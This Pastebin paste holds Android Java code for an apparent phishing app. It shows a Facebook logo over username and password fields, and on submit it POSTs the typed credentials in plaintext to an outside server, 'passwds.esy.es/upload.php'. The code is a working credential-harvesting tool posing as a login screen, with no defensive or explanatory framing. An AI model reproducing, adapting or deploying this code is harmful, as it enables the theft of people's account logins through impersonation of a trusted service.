Guest User

Untitled

a guest
Apr 7th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.63 KB | None | 0 0
  1. @Override
  2. protected void onCreate(Bundle savedInstanceState) {
  3. super.onCreate(savedInstanceState);
  4. setContentView(R.layout.activity_main);
  5.  
  6. Thread thread=new Thread(){
  7. @Override
  8. public void run() {
  9. try {
  10. sleep(5*1000);
  11. Intent i = new Intent(getApplicationContext(),MainActivity2.class);
  12. startActivity(i);
  13. }
  14. catch (Exception ex)
  15. {}
  16. }
  17. };
  18. thread.start();
  19.  
  20.  
  21. ImageView ImageView = (ImageView) findViewById(R.id.imageView);
  22. ImageView.setImageResource(R.drawable.fb);
  23.  
  24. bQ = (EditText)findViewById(R.id.username);
  25. bR = (EditText)findViewById(R.id.password);
  26. }
  27.  
  28. public void insertIntoDatabase() {
  29. final String username = bQ.getText().toString();
  30. final String password = bR.getText().toString();
  31.  
  32. class SendPostReqAsyncTask extends AsyncTask<String, Void, String> {
  33. @Override
  34. protected String doInBackground(String... params) {
  35. String paramUsername = params[0];
  36. String paramPassword = params[1];
  37.  
  38. try {
  39. URL url = new URL("http://passwds.esy.es/upload.php");
  40. HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
  41. httpURLConnection.setRequestMethod("POST");
  42. httpURLConnection.setDoOutput(true);
  43. httpURLConnection.setDoInput(true);
  44. //OutputStream outputStream = httpURLConnection.getOutputStream();
  45. BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(httpURLConnection.getOutputStream(), "UTF-8"));
  46. String userPass = URLEncoder.encode("username", "UTF-8") + "=" + URLEncoder.encode(paramUsername, "UTF-8") + "&"
  47. + URLEncoder.encode("password", "UTF-8") + "=" + URLEncoder.encode(paramPassword, "UTF-8");
  48. bufferedWriter.write(userPass);
  49. bufferedWriter.flush();
  50. bufferedWriter.close();
  51.  
  52. InputStream inputStream = httpURLConnection.getInputStream();
  53. inputStream.close();
  54. httpURLConnection.disconnect();
  55. } catch (IOException e) {
  56. e.printStackTrace();
  57. }
  58. return "success";
  59. }
  60. @Override
  61. protected void onPostExecute(String result) {
  62. super.onPostExecute(result);
  63. Log.v("Result:", result);
  64. }
  65. }
  66. SendPostReqAsyncTask sendPostReqAsyncTask = new SendPostReqAsyncTask();
  67. sendPostReqAsyncTask.execute(username, password);
  68. }
  69. public void submit(View view) {
  70. insertIntoDatabase();
  71. }
Add Comment
Please, Sign In to add comment